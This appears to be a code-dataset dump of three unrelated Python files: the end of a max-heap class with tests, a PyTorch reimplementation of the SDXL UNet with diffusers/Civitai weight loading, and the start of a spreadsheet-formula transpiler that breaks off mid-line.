self.heap[self.count-1]\n self.count -= 1\n\n # Sift down - swap values with children until right place\n parent_idx = 0\n\n while(True):\n left_idx = 2*parent_idx + 1\n right_idx = 2*parent_idx + 2\n\n # Find larger of two children\n if left_idx > self.count:\n break\n elif right_idx > self.count:\n child_idx = left_idx\n else:\n child_idx = left_idx if self.heap[left_idx] > self.heap[right_idx] else right_idx\n\n # Swap with parent\n if self.heap[parent_idx] < self.heap[child_idx]:\n self.heap[parent_idx], self.heap[child_idx] = self.heap[child_idx], self.heap[parent_idx]\n parent_idx = child_idx\n else:\n break\n\n return return_value\n\n\ndef test_heap():\n m = MaxHeap(10)\n m.push(5)\n assert m.pop() == 5\n m.push(5)\n m.push(10)\n assert m.pop() == 10\n m.push(3)\n m.push(10)\n assert m.pop() == 10\n m.push(20)\n m.push(10)\n assert m.pop() == 20\n\n m = MaxHeap(10)\n m.push(5)\n m.push(3)\n m.push(20)\n m.push(8)\n m.push(10)\n assert m.pop() == 20\n assert m.pop() == 10\n assert m.pop() == 8\n assert m.pop() == 5\n assert m.pop() == 3\n\n\nif __name__ == '__main__':\n test_heap()\n","repo_name":"anshuman64/ml-interviews","sub_path":"remember/8_Heap.py","file_name":"8_Heap.py","file_ext":"py","file_size_in_byte":2785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"13585832734","text":"import torch, math\r\nfrom safetensors import safe_open\r\nfrom diffusers import ModelMixin\r\nfrom diffusers.configuration_utils import FrozenDict\r\nfrom .StateDictConverter import convert_state_dict_civitai_diffusers\r\n\r\n\r\nclass Timesteps(torch.nn.Module):\r\n def __init__(self, num_channels):\r\n super().__init__()\r\n self.num_channels = num_channels\r\n\r\n def forward(self, timesteps):\r\n half_dim = self.num_channels // 2\r\n exponent = -math.log(10000) * torch.arange(start=0, end=half_dim, dtype=torch.float32, device=timesteps.device) / half_dim\r\n timesteps = timesteps.unsqueeze(-1)\r\n emb = timesteps.float() * torch.exp(exponent)\r\n emb = torch.cat([torch.cos(emb), torch.sin(emb)], dim=-1)\r\n return emb\r\n\r\n\r\nclass GEGLU(torch.nn.Module):\r\n\r\n def __init__(self, dim_in, dim_out):\r\n super().__init__()\r\n self.proj = torch.nn.Linear(dim_in, dim_out * 2)\r\n\r\n def forward(self, hidden_states):\r\n hidden_states, gate = self.proj(hidden_states).chunk(2, dim=-1)\r\n return hidden_states * torch.nn.functional.gelu(gate)\r\n\r\n\r\nclass Attention(torch.nn.Module):\r\n\r\n def __init__(self, query_dim, heads, dim_head, cross_attention_dim=None):\r\n super().__init__()\r\n inner_dim = dim_head * heads\r\n cross_attention_dim = cross_attention_dim if cross_attention_dim is not None else query_dim\r\n self.heads = heads\r\n self.dim_head = dim_head\r\n\r\n self.to_q = torch.nn.Linear(query_dim, inner_dim, bias=False)\r\n self.to_k = torch.nn.Linear(cross_attention_dim, inner_dim, bias=False)\r\n self.to_v = torch.nn.Linear(cross_attention_dim, inner_dim, bias=False)\r\n self.to_out = torch.nn.Linear(inner_dim, query_dim, bias=True)\r\n\r\n def forward(\r\n self,\r\n hidden_states,\r\n encoder_hidden_states=None,\r\n ):\r\n if encoder_hidden_states is None:\r\n encoder_hidden_states = hidden_states\r\n\r\n batch_size = encoder_hidden_states.shape[0]\r\n\r\n query = self.to_q(hidden_states)\r\n key = self.to_k(encoder_hidden_states)\r\n value = self.to_v(encoder_hidden_states)\r\n\r\n query = query.view(batch_size, -1, self.heads, self.dim_head).transpose(1, 2)\r\n key = key.view(batch_size, -1, self.heads, self.dim_head).transpose(1, 2)\r\n value = value.view(batch_size, -1, self.heads, self.dim_head).transpose(1, 2)\r\n\r\n hidden_states = torch.nn.functional.scaled_dot_product_attention(query, key, value)\r\n hidden_states = hidden_states.transpose(1, 2).view(batch_size, -1, self.heads * self.dim_head)\r\n hidden_states = hidden_states.to(query.dtype)\r\n\r\n hidden_states = self.to_out(hidden_states)\r\n\r\n return hidden_states\r\n\r\n\r\nclass BasicTransformerBlock(torch.nn.Module):\r\n\r\n def __init__(self, dim, num_attention_heads, attention_head_dim, cross_attention_dim):\r\n super().__init__()\r\n\r\n # 1. Self-Attn\r\n self.norm1 = torch.nn.LayerNorm(dim, elementwise_affine=True)\r\n self.attn1 = Attention(query_dim=dim, heads=num_attention_heads, dim_head=attention_head_dim)\r\n\r\n # 2. Cross-Attn\r\n self.norm2 = torch.nn.LayerNorm(dim, elementwise_affine=True)\r\n self.attn2 = Attention(query_dim=dim, cross_attention_dim=cross_attention_dim, heads=num_attention_heads, dim_head=attention_head_dim)\r\n\r\n # 3. Feed-forward\r\n self.norm3 = torch.nn.LayerNorm(dim, elementwise_affine=True)\r\n self.act_fn = GEGLU(dim, dim * 4)\r\n self.ff = torch.nn.Linear(dim * 4, dim)\r\n\r\n\r\n def forward(self, hidden_states, encoder_hidden_states):\r\n # 1. Self-Attention\r\n norm_hidden_states = self.norm1(hidden_states)\r\n attn_output = self.attn1(norm_hidden_states, encoder_hidden_states=None,)\r\n hidden_states = attn_output + hidden_states\r\n\r\n # 2. Cross-Attention\r\n norm_hidden_states = self.norm2(hidden_states)\r\n attn_output = self.attn2(norm_hidden_states, encoder_hidden_states=encoder_hidden_states)\r\n hidden_states = attn_output + hidden_states\r\n\r\n # 3. Feed-forward\r\n norm_hidden_states = self.norm3(hidden_states)\r\n ff_output = self.act_fn(norm_hidden_states)\r\n ff_output = self.ff(ff_output)\r\n hidden_states = ff_output + hidden_states\r\n\r\n return hidden_states\r\n\r\n\r\nclass DownSampler(torch.nn.Module):\r\n def __init__(self, channels):\r\n super().__init__()\r\n self.conv = torch.nn.Conv2d(channels, channels, 3, stride=2, padding=1)\r\n\r\n def forward(self, hidden_states, time_emb, text_emb, res_stack):\r\n hidden_states = self.conv(hidden_states)\r\n return hidden_states, time_emb, text_emb, res_stack\r\n\r\n\r\nclass UpSampler(torch.nn.Module):\r\n def __init__(self, channels):\r\n super().__init__()\r\n self.conv = torch.nn.Conv2d(channels, channels, 3, padding=1)\r\n\r\n def forward(self, hidden_states, time_emb, text_emb, res_stack):\r\n hidden_states = torch.nn.functional.interpolate(hidden_states, scale_factor=2.0, mode=\"nearest\")\r\n hidden_states = self.conv(hidden_states)\r\n return hidden_states, time_emb, text_emb, res_stack\r\n\r\n\r\nclass ResnetBlock(torch.nn.Module):\r\n def __init__(self, in_channels, out_channels, temb_channels, groups=32, eps=1e-5):\r\n super().__init__()\r\n self.norm1 = torch.nn.GroupNorm(num_groups=groups, num_channels=in_channels, eps=eps, affine=True)\r\n self.conv1 = torch.nn.Conv2d(in_channels, out_channels, kernel_size=3, stride=1, padding=1)\r\n self.time_emb_proj = torch.nn.Linear(temb_channels, out_channels)\r\n self.norm2 = torch.nn.GroupNorm(num_groups=groups, num_channels=out_channels, eps=eps, affine=True)\r\n self.conv2 = torch.nn.Conv2d(out_channels, out_channels, kernel_size=3, stride=1, padding=1)\r\n self.nonlinearity = torch.nn.SiLU()\r\n self.conv_shortcut = None\r\n if in_channels != out_channels:\r\n self.conv_shortcut = torch.nn.Conv2d(in_channels, out_channels, kernel_size=1, stride=1, padding=0, bias=True)\r\n\r\n def forward(self, hidden_states, time_emb, text_emb, res_stack):\r\n x = hidden_states\r\n x = self.norm1(x)\r\n x = self.nonlinearity(x)\r\n x = self.conv1(x)\r\n emb = self.nonlinearity(time_emb)\r\n emb = self.time_emb_proj(emb)[:, :, None, None]\r\n x = x + emb\r\n x = self.norm2(x)\r\n x = self.nonlinearity(x)\r\n x = self.conv2(x)\r\n if self.conv_shortcut is not None:\r\n hidden_states = self.conv_shortcut(hidden_states)\r\n hidden_states = hidden_states + x\r\n return hidden_states, time_emb, text_emb, res_stack\r\n\r\n\r\nclass AttentionBlock(torch.nn.Module):\r\n\r\n def __init__(self, num_attention_heads, attention_head_dim, in_channels, num_layers=1, cross_attention_dim=None, norm_num_groups=32):\r\n super().__init__()\r\n inner_dim = num_attention_heads * attention_head_dim\r\n\r\n self.norm = torch.nn.GroupNorm(num_groups=norm_num_groups, num_channels=in_channels, eps=1e-6, affine=True)\r\n self.proj_in = torch.nn.Linear(in_channels, inner_dim)\r\n\r\n self.transformer_blocks = torch.nn.ModuleList([\r\n BasicTransformerBlock(\r\n inner_dim,\r\n num_attention_heads,\r\n attention_head_dim,\r\n cross_attention_dim=cross_attention_dim\r\n )\r\n for d in range(num_layers)\r\n ])\r\n\r\n self.proj_out = torch.nn.Linear(inner_dim, in_channels)\r\n\r\n def forward(self, hidden_states, time_emb, text_emb, res_stack):\r\n batch, _, height, width = hidden_states.shape\r\n residual = hidden_states\r\n\r\n hidden_states = self.norm(hidden_states)\r\n inner_dim = hidden_states.shape[1]\r\n hidden_states = hidden_states.permute(0, 2, 3, 1).reshape(batch, height * width, inner_dim)\r\n hidden_states = self.proj_in(hidden_states)\r\n\r\n for block in self.transformer_blocks:\r\n hidden_states = block(\r\n hidden_states,\r\n encoder_hidden_states=text_emb\r\n )\r\n\r\n hidden_states = self.proj_out(hidden_states)\r\n hidden_states = hidden_states.reshape(batch, height, width, inner_dim).permute(0, 3, 1, 2).contiguous()\r\n hidden_states = hidden_states + residual\r\n\r\n return hidden_states, time_emb, text_emb, res_stack\r\n\r\n\r\nclass PushBlock(torch.nn.Module):\r\n def __init__(self):\r\n super().__init__()\r\n\r\n def forward(self, hidden_states, time_emb, text_emb, res_stack):\r\n res_stack.append(hidden_states)\r\n return hidden_states, time_emb, text_emb, res_stack\r\n\r\n\r\nclass PopBlock(torch.nn.Module):\r\n def __init__(self):\r\n super().__init__()\r\n\r\n def forward(self, hidden_states, time_emb, text_emb, res_stack):\r\n res_hidden_states = res_stack.pop()\r\n hidden_states = torch.cat([hidden_states, res_hidden_states], dim=1)\r\n return hidden_states, time_emb, text_emb, res_stack\r\n\r\n\r\nclass BlockUNet(ModelMixin):\r\n def __init__(self):\r\n super().__init__()\r\n self.time_proj = Timesteps(320)\r\n self.time_embedding = torch.nn.Sequential(\r\n torch.nn.Linear(320, 1280),\r\n torch.nn.SiLU(),\r\n torch.nn.Linear(1280, 1280)\r\n )\r\n self.add_time_proj = Timesteps(256)\r\n self.add_time_embedding = torch.nn.Sequential(\r\n torch.nn.Linear(2816, 1280),\r\n torch.nn.SiLU(),\r\n torch.nn.Linear(1280, 1280)\r\n )\r\n self.conv_in = torch.nn.Conv2d(4, 320, kernel_size=3, padding=1)\r\n\r\n self.blocks = torch.nn.ModuleList([\r\n # DownBlock2D\r\n ResnetBlock(320, 320, 1280),\r\n PushBlock(),\r\n ResnetBlock(320, 320, 1280),\r\n PushBlock(),\r\n DownSampler(320),\r\n PushBlock(),\r\n # CrossAttnDownBlock2D\r\n ResnetBlock(320, 640, 1280),\r\n AttentionBlock(10, 64, 640, 2, 2048),\r\n PushBlock(),\r\n ResnetBlock(640, 640, 1280),\r\n AttentionBlock(10, 64, 640, 2, 2048),\r\n PushBlock(),\r\n DownSampler(640),\r\n PushBlock(),\r\n # CrossAttnDownBlock2D\r\n ResnetBlock(640, 1280, 1280),\r\n AttentionBlock(20, 64, 1280, 10, 2048),\r\n PushBlock(),\r\n ResnetBlock(1280, 1280, 1280),\r\n AttentionBlock(20, 64, 1280, 10, 2048),\r\n PushBlock(),\r\n # UNetMidBlock2DCrossAttn\r\n ResnetBlock(1280, 1280, 1280),\r\n AttentionBlock(20, 64, 1280, 10, 2048),\r\n ResnetBlock(1280, 1280, 1280),\r\n # CrossAttnUpBlock2D\r\n PopBlock(),\r\n ResnetBlock(2560, 1280, 1280),\r\n AttentionBlock(20, 64, 1280, 10, 2048),\r\n PopBlock(),\r\n ResnetBlock(2560, 1280, 1280),\r\n AttentionBlock(20, 64, 1280, 10, 2048),\r\n PopBlock(),\r\n ResnetBlock(1920, 1280, 1280),\r\n AttentionBlock(20, 64, 1280, 10, 2048),\r\n UpSampler(1280),\r\n # CrossAttnUpBlock2D\r\n PopBlock(),\r\n ResnetBlock(1920, 640, 1280),\r\n AttentionBlock(10, 64, 640, 2, 2048),\r\n PopBlock(),\r\n ResnetBlock(1280, 640, 1280),\r\n AttentionBlock(10, 64, 640, 2, 2048),\r\n PopBlock(),\r\n ResnetBlock(960, 640, 1280),\r\n AttentionBlock(10, 64, 640, 2, 2048),\r\n UpSampler(640),\r\n # UpBlock2D\r\n PopBlock(),\r\n ResnetBlock(960, 320, 1280),\r\n PopBlock(),\r\n ResnetBlock(640, 320, 1280),\r\n PopBlock(),\r\n ResnetBlock(640, 320, 1280)\r\n ])\r\n\r\n self.conv_norm_out = torch.nn.GroupNorm(num_channels=320, num_groups=32, eps=1e-5)\r\n self.conv_act = torch.nn.SiLU()\r\n self.conv_out = torch.nn.Conv2d(320, 4, kernel_size=3, padding=1)\r\n\r\n # For diffusers\r\n self.config = FrozenDict([\r\n ('sample_size', 128), ('in_channels', 4), ('out_channels', 4), ('center_input_sample', False), ('flip_sin_to_cos', True),\r\n ('freq_shift', 0), ('down_block_types', ['DownBlock2D', 'CrossAttnDownBlock2D', 'CrossAttnDownBlock2D']),\r\n ('mid_block_type', 'UNetMidBlock2DCrossAttn'), ('up_block_types', ['CrossAttnUpBlock2D', 'CrossAttnUpBlock2D', 'UpBlock2D']),\r\n ('only_cross_attention', False), ('block_out_channels', [320, 640, 1280]), ('layers_per_block', 2), ('downsample_padding', 1),\r\n ('mid_block_scale_factor', 1), ('act_fn', 'silu'), ('norm_num_groups', 32), ('norm_eps', 1e-05), ('cross_attention_dim', 2048),\r\n ('transformer_layers_per_block', [1, 2, 10]), ('encoder_hid_dim', None), ('encoder_hid_dim_type', None), ('attention_head_dim', [5, 10, 20]),\r\n ('num_attention_heads', None), ('dual_cross_attention', False), ('use_linear_projection', True), ('class_embed_type', None),\r\n ('addition_embed_type', 'text_time'), ('addition_time_embed_dim', 256), ('num_class_embeds', None), ('upcast_attention', None),\r\n ('resnet_time_scale_shift', 'default'), ('resnet_skip_time_act', False), ('resnet_out_scale_factor', 1.0), ('time_embedding_type', 'positional'),\r\n ('time_embedding_dim', None), ('time_embedding_act_fn', None), ('timestep_post_act', None), ('time_cond_proj_dim', None),\r\n ('conv_in_kernel', 3), ('conv_out_kernel', 3), ('projection_class_embeddings_input_dim', 2816), ('attention_type', 'default'),\r\n ('class_embeddings_concat', False), ('mid_block_only_cross_attention', None), ('cross_attention_norm', None),\r\n ('addition_embed_type_num_heads', 64), ('_class_name', 'UNet2DConditionModel'), ('_diffusers_version', '0.20.2'),\r\n ('_name_or_path', 'models/stabilityai/stable-diffusion-xl-base-1.0\\\\unet')])\r\n self.add_embedding = FrozenDict([(\"linear_1\", FrozenDict([(\"in_features\", 2816)]))])\r\n\r\n def from_diffusers(self, safetensor_path=None, state_dict=None):\r\n # Load state_dict\r\n if safetensor_path is not None:\r\n state_dict = {}\r\n with safe_open(safetensor_path, framework=\"pt\", device=\"cpu\") as f:\r\n for name in f.keys():\r\n state_dict[name] = f.get_tensor(name)\r\n\r\n # Analyze the architecture\r\n block_types = [block.__class__.__name__ for block in self.blocks]\r\n\r\n # Rename each parameter\r\n name_list = sorted([name for name in state_dict])\r\n rename_dict = {}\r\n block_id = {\"ResnetBlock\": -1, \"AttentionBlock\": -1, \"DownSampler\": -1, \"UpSampler\": -1}\r\n last_block_type_with_id = {\"ResnetBlock\": \"\", \"AttentionBlock\": \"\", \"DownSampler\": \"\", \"UpSampler\": \"\"}\r\n for name in name_list:\r\n names = name.split(\".\")\r\n if names[0] in [\"conv_in\", \"conv_norm_out\", \"conv_out\"]:\r\n pass\r\n elif names[0] in [\"time_embedding\", \"add_embedding\"]:\r\n if names[0] == \"add_embedding\":\r\n names[0] = \"add_time_embedding\"\r\n names[1] = {\"linear_1\": \"0\", \"linear_2\": \"2\"}[names[1]]\r\n elif names[0] in [\"down_blocks\", \"mid_block\", \"up_blocks\"]:\r\n if names[0] == \"mid_block\":\r\n names.insert(1, \"0\")\r\n block_type = {\"resnets\": \"ResnetBlock\", \"attentions\": \"AttentionBlock\", \"downsamplers\": \"DownSampler\", \"upsamplers\": \"UpSampler\"}[names[2]]\r\n block_type_with_id = \".\".join(names[:4])\r\n if block_type_with_id != last_block_type_with_id[block_type]:\r\n block_id[block_type] += 1\r\n last_block_type_with_id[block_type] = block_type_with_id\r\n while block_id[block_type] < len(block_types) and block_types[block_id[block_type]] != block_type:\r\n block_id[block_type] += 1\r\n block_type_with_id = \".\".join(names[:4])\r\n names = [\"blocks\", str(block_id[block_type])] + names[4:]\r\n if \"ff\" in names:\r\n ff_index = names.index(\"ff\")\r\n component = \".\".join(names[ff_index:ff_index+3])\r\n component = {\"ff.net.0\": \"act_fn\", \"ff.net.2\": \"ff\"}[component]\r\n names = names[:ff_index] + [component] + names[ff_index+3:]\r\n if \"to_out\" in names:\r\n names.pop(names.index(\"to_out\") + 1)\r\n else:\r\n raise ValueError(f\"Unknown parameters: {name}\")\r\n rename_dict[name] = \".\".join(names)\r\n\r\n # Convert state_dict\r\n state_dict_ = {}\r\n for name, param in state_dict.items():\r\n state_dict_[rename_dict[name]] = param\r\n self.load_state_dict(state_dict_)\r\n\r\n def from_civitai(self, safetensor_path=None, state_dict=None):\r\n # Load state_dict\r\n if safetensor_path is not None:\r\n state_dict = {}\r\n with safe_open(safetensor_path, framework=\"pt\", device=\"cpu\") as f:\r\n for name in f.keys():\r\n state_dict[name] = f.get_tensor(name)\r\n \r\n # Convert state_dict\r\n state_dict = convert_state_dict_civitai_diffusers(state_dict)\r\n self.from_diffusers(state_dict=state_dict)\r\n \r\n def process(\r\n self,\r\n sample,\r\n timestep,\r\n encoder_hidden_states,\r\n added_cond_kwargs,\r\n **kwargs\r\n ):\r\n # 1. time\r\n t_emb = self.time_proj(timestep[None]).to(sample.dtype)\r\n t_emb = self.time_embedding(t_emb)\r\n \r\n time_embeds = self.add_time_proj(added_cond_kwargs[\"time_ids\"])\r\n time_embeds = time_embeds.reshape((time_embeds.shape[0], -1))\r\n add_embeds = torch.concat([added_cond_kwargs[\"text_embeds\"], time_embeds], dim=-1)\r\n add_embeds = add_embeds.to(sample.dtype)\r\n add_embeds = self.add_time_embedding(add_embeds)\r\n\r\n time_emb = t_emb + add_embeds\r\n \r\n # 2. pre-process\r\n hidden_states = self.conv_in(sample)\r\n text_emb = encoder_hidden_states\r\n res_stack = [hidden_states]\r\n \r\n # 3. blocks\r\n for i, block in enumerate(self.blocks):\r\n hidden_states, time_emb, text_emb, res_stack = block(hidden_states, time_emb, text_emb, res_stack)\r\n\r\n hidden_states = self.conv_norm_out(hidden_states)\r\n hidden_states = self.conv_act(hidden_states)\r\n hidden_states = self.conv_out(hidden_states)\r\n\r\n return hidden_states\r\n\r\n def forward(\r\n self,\r\n sample,\r\n timestep,\r\n encoder_hidden_states,\r\n added_cond_kwargs,\r\n **kwargs\r\n ):\r\n hidden_states = []\r\n for i in range(sample.shape[0]):\r\n added_cond_kwargs_ = {}\r\n added_cond_kwargs_[\"text_embeds\"] = added_cond_kwargs[\"text_embeds\"][i:i+1]\r\n added_cond_kwargs_[\"time_ids\"] = added_cond_kwargs[\"time_ids\"][i:i+1]\r\n hidden_states.append(self.process(sample[i:i+1], timestep, encoder_hidden_states[i:i+1], added_cond_kwargs_))\r\n hidden_states = torch.concat(hidden_states, dim=0)\r\n return (hidden_states,)\r\n\r\n","repo_name":"Artiprocher/FastSDXL","sub_path":"FastSDXL/BlockUNet.py","file_name":"BlockUNet.py","file_ext":"py","file_size_in_byte":19233,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"50"} +{"seq_id":"10614278616","text":"import os\nimport re\nimport formulas\nimport collections\nimport itertools\nimport hyperc.settings\nimport hyperc.xtj\nimport hyperc.util\nimport schedula\nimport copy\nimport random\nimport string\nimport hyper_etable.type_mapper\nimport hyper_etable.cell_resolver\n\nVAR_RE = re.compile(r\"\\.(.+_\\d+)\\.\")\n\n\nclass CellError(Exception):\n pass \n\ndef unpack_cell(heap):\n set_of_plain_cell = set()\n for some_cell in heap:\n if isinstance(some_cell, StringLikeConstant):\n continue\n if some_cell.is_range:\n set_of_plain_cell.update(some_cell.cell.unpack())\n else:\n set_of_plain_cell.add(some_cell.cell)\n return set_of_plain_cell\n\ndef split_cell(cell_str):\n # return (file, sheet, rec_id , letter)\n cell_ = formulas.Parser().ast(\"=\"+list(formulas.Parser().ast(\"=\" + cell_str)\n [1].compile().dsp.nodes.keys())[0].replace(\" = -\", \"=-\"))\n cell = cell_[0][0].attr\n\n if isinstance(cell_[0][0], formulas.tokens.operand.Error):\n raise CellError()\n if 'r1' not in cell:\n # seems cell is named range or table\n return (cell['filename'], cell['sheet'], cell['ref'], cell['ref'])\n \n if (cell['r1'] != cell['r2']) or (cell['c1'] != cell['c2']):\n return (cell.get('filename', ''), cell.get('sheet', ''), [int(cell['r1']), int(cell['r2'])], [cell['c1'].upper(), cell['c2'].upper()])\n else:\n return (cell.get('filename', ''), cell.get('sheet', ''), int(cell['r1']), cell['c1'].upper())\n\n\ndef get_var_from_cell(cell_str):\n cell = formulas.Parser().ast(\"=\"+list(formulas.Parser().ast(\"=\" + cell_str)\n [1].compile().dsp.nodes.keys())[0].replace(\" = -\", \"=-\"))[0][0].attr\n letter = cell['c1'].upper()\n number = cell['r1']\n sheet_name = hyperc.xtj.str_to_py(f\"[{cell['filename']}]{cell['sheet']}\")\n var_name = f'var_tbl_{sheet_name}__hct_direct_ref__{number}_{letter}'\n return var_name\n\n\ndef generate_ne_warrants(all_init):\n \"Generate not-equal for objects that are guaranteed not to be equal\"\n warrants = []\n all_vars = VAR_RE.findall(all_init)\n if not all_vars: return []\n all_vars = set(all_vars)\n for a, b in itertools.combinations(all_vars, r=2):\n # code += f\" assert {a} != {b}\\n\"\n a_b = sorted([f'{a}', f'{b}'])\n warrants.append(f\"ensure_ne(DATA.{a_b[0]}, DATA.{a_b[1]})\")\n return warrants\n\n\nclass StringLikeConstant(object):\n\n @staticmethod\n def new(var_map, var):\n var_type = (var, type(var))\n if var_type in var_map:\n return var_map[var_type]\n else:\n return StringLikeConstant(var_map, var)\n\n def __init__(self, var_map, var):\n self.var = var\n self.types = set()\n self.types.add(type(var))\n self.type_group_set = set()\n self.var_map = var_map\n self.new_type_group(var_map)\n self.var_map[(self.var, type(self.var))] = self\n self.variables = set()\n self.variables.add(self)\n\n def __str__(self):\n if isinstance(self.var, str):\n return f'\"{self.var}\"'\n else:\n return str(self.var)\n \n def __repr__(self):\n return f\"{self.var}({type(self.var)})\"\n\n def __hash__(self):\n return hash(self.var)\n\n def set_types(self, type):\n if isinstance(type, set):\n self.types.update(type)\n else:\n self.types.add(type)\n\n def new_type_group(self, var_map):\n # random duplicateless Generator\n loop = True\n rnd_len = 1\n while loop:\n loop = False\n type_group = 'type_group_'+''.join(random.choices(string.ascii_uppercase + string.digits, k=rnd_len))\n for k in var_map:\n if var_map[k].type_group == type_group:\n loop = True\n if not loop:\n self.type_group = type_group\n self.type_group_set.add(type_group)\n rnd_len += 1\n\nclass StringLikeNamedRange:\n\n @staticmethod\n def new(var_map, filename, sheet, range_name, cell):\n new_str_var = StringLikeNamedRange(var_map, filename, sheet, range_name, cell)\n new_str_var_type = (new_str_var, type(new_str_var))\n if new_str_var_type in var_map:\n return var_map[new_str_var_type]\n else:\n return new_str_var\n\n def __init__(self, var_map, filename, sheet, range_name, cell):\n self.temp = False\n self.directory = os.path.dirname(filename)\n self.filename = os.path.basename(filename)\n self.sheet = sheet\n self.range_name = range_name\n self.cell = cell\n self.sheet_name = hyperc.xtj.str_to_py(f\"[{self.filename}]{self.sheet}\")\n self.is_range = True\n self.row_name = f'var_tbl_{self.sheet_name}__named_range_{hyperc.xtj.str_to_py(self.range_name)}'\n self.var_str = f'{self.row_name}.{cell.letter[0]}'\n self.types = set()\n self.type_group_set = set()\n self.var_map = var_map\n self.new_type_group(var_map)\n self.var_map[self.var_str] = self\n self.variables = set()\n self.variables.add(self)\n\n def __str__(self):\n return self.var_str\n\n def __hash__(self):\n self.hash = hash(str(self.var_str))\n return self.hash\n\n def __eq__(self, other):\n return hash(self) == hash(other)\n\n def set_types(self, type):\n if isinstance(type, set):\n self.types.update(type)\n else:\n self.types.add(type)\n\n def new_type_group(self, var_map):\n # random duplicateless Generator\n loop = True\n rnd_len = 1\n while loop:\n loop = False\n type_group = 'type_group_'+''.join(random.choices(string.ascii_uppercase + string.digits, k=rnd_len))\n for k in var_map:\n if var_map[k].type_group == type_group:\n loop = True\n if not loop:\n self.type_group = type_group\n self.type_group_set.add(type_group)\n rnd_len += 1\n\n def __repr__(self):\n return f\"StringLikeNamedRange<{self.var_str}>\"\n\nclass StringLikeVariable:\n\n @staticmethod\n def new(var_map, cell_str=None, filename=None, sheet=None, letter=None, number=None, var_str=None):\n new_str_var = StringLikeVariable(\n var_map=var_map, cell_str=cell_str, filename=filename, sheet=sheet, letter=letter, number=number,\n var_str=var_str)\n new_str_var_type = (new_str_var, type(new_str_var))\n if new_str_var_type in var_map:\n return var_map[new_str_var_type]\n else:\n return new_str_var\n\n def __init__(self, var_map, cell_str = None, filename=None, sheet=None, letter=None, number=None, var_str=None):\n self.temp = False\n self.cell_str = cell_str\n if cell_str is None:\n self.directory = os.path.dirname(filename)\n self.filename = os.path.basename(filename)\n self.sheet = sheet\n if isinstance(letter, list):\n self.letter = [l.upper() for l in letter]\n else:\n self.letter = letter.upper()\n if isinstance(number, list):\n self.number = [int(n) for n in number]\n else:\n self.number = int(number)\n else:\n self.filename, self.sheet, self.number, self.letter = split_cell(cell_str)\n if isinstance(self.number, list):\n self.is_range = True\n self.cell = hyper_etable.cell_resolver.PlainCellRange(self.filename, self.sheet, self.letter, self.number)\n self.range_name = f'{self.letter[0]}{self.number[0]}_{self.letter[1]}{self.number[1]}'\n\n else:\n self.is_range = False\n self.cell = hyper_etable.cell_resolver.PlainCell(self.filename, self.sheet, self.letter, self.number)\n\n\n self.var_str = var_str\n if self.var_str is None:\n sheet_name = hyperc.xtj.str_to_py(f\"[{self.filename}]{self.sheet}\")\n if self.is_range:\n self.row_name = f'var_tbl_{sheet_name}__range_{self.number[0]}_{self.number[1]}_{self.letter[0]}'\n self.var_str = f'{self.row_name}.{self.cell.letter[0]}'\n else:\n self.var_str = f'var_tbl_{sheet_name}__hct_direct_ref__{self.number}_{self.letter}'\n self.types = set()\n self.type_group_set = set()\n self.var_map = var_map\n self.new_type_group(var_map)\n self.var_map[self.var_str] = self\n self.variables = set()\n self.variables.add(self)\n\n def get_excel_format(self):\n return f\"'[{self.filename}]{self.sheet}'!{self.letter.upper()}{self.number}\"\n\n def __str__(self):\n return self.var_str\n\n def __hash__(self):\n self.hash = hash(str(self.var_str))\n return self.hash\n\n def __eq__(self, other):\n return hash(self) == hash(other)\n\n def set_types(self,type):\n if isinstance(type, set):\n self.types.update(type)\n else:\n self.types.add(type)\n\n def new_type_group(self, var_map):\n # random duplicateless Generator\n loop = True\n rnd_len = 1\n while loop:\n loop = False\n type_group = 'type_group_'+''.join(random.choices(string.ascii_uppercase + string.digits, k=rnd_len))\n for k in var_map:\n if var_map[k].type_group == type_group:\n loop = True\n if not loop:\n self.type_group = type_group\n self.type_group_set.add(type_group)\n rnd_len += 1\n\n def __repr__(self):\n return f\"StringLikeVariable<{self.var_str}>\"\n\ndef formulas_parser(formula_str):\n assert not formula_str.startswith(\"=\"), \"Formula can't start with = (possible programming error)\"\n return formulas.Parser().ast(\"=\"+list(formulas.Parser().ast(\"=\" + formula_str)\n [1].compile().dsp.nodes.keys())[0].replace(\" = -\", \"=-\"))[0]\n\n\n\n\nclass StringLikeVars:\n def __init__(self,rendered_str, args, operator):\n self.rendered_str = rendered_str\n self.args = args\n self.variables = set()\n for arg in self.args:\n if isinstance(arg, StringLikeVars):\n self.variables.update(arg.variables)\n else:\n self.variables.add(arg)\n self.operator = operator\n\n def extend(self, args):\n for arg in args:\n if isinstance(arg, str):\n self.variables.add(arg)\n elif isinstance(arg, StringLikeVars):\n self.variables.update(arg.variables)\n\n def __str__(self):\n return str(self.rendered_str)\n\n def __hash__(self):\n return hash(str(self.rendered_str))\n\n def __repr__(self):\n return f\"StringLikeVars<{self.rendered_str}>\"\n\nbogus_start_re = re.compile(r\"^=(\\[\\d+\\]!)\")\nbogus_end_re = re.compile(r\"\\<\\d+\\>$\")\n\nclass EtableTranspiler:\n\n def __init__(self, formula, output, range_resolver, var_mapper, table_type_mapper, init_code=None):\n self.var_mapper = var_mapper\n self.range_resolver = range_resolver\n self.table_type_mapper = table_type_mapper\n if formula.endswith(\"<0>\"):\n formula = formula[:-3]\n if formula.startswith(\"=[\"):\n formula = bogus_start_re.sub(\"=\", formula, 1)\n formula = bogus_end_re.sub(\"\", formula, 1)\n self.formula = self.range_resolver.replace_named_ranges(formula)\n self.output = output\n self.output.var_str = f'{self.output.var_str}_output'\n init_code.formula_str.add(formula)\n self.init_code = init_code\n if self.init_code is None:\n self.init_code = []\n self.default = None\n self.args = set()\n try:\n self.nodes = formulas.Parser().ast(\"=\"+list(formulas.Parser().ast(self.formula)\n [1].compile().dsp.nodes.keys())[0].replace(\" = -\", \"=-\"))[0]\n except formulas.errors.FormulaError as e:\n print(f\"Can't parse {formula}: {e}\")\n raise e\n\n def transpile_start(self):\n self.var_counter = 0\n self.paren_level = 0\n self.functions = []\n self.last_node = None\n self.function_parens = {}\n self.function_parens_args = collections.defaultdict(list)\n self.code = []\n self.remember_types = {}\n transpiled_formula_return = self.transpile(self.nodes)\n if isinstance(transpiled_formula_return, str):\n print(\"ok\")\n self.init_code.all_variables.update(set(transpiled_formula_return.variables))\n self.init_code.input_variables.update(set([v for v in transpiled_formula_return.variables if isinstance(\n v, StringLikeVariable) or isinstance(v, StringLikeNamedRange)]))\n sheet_name 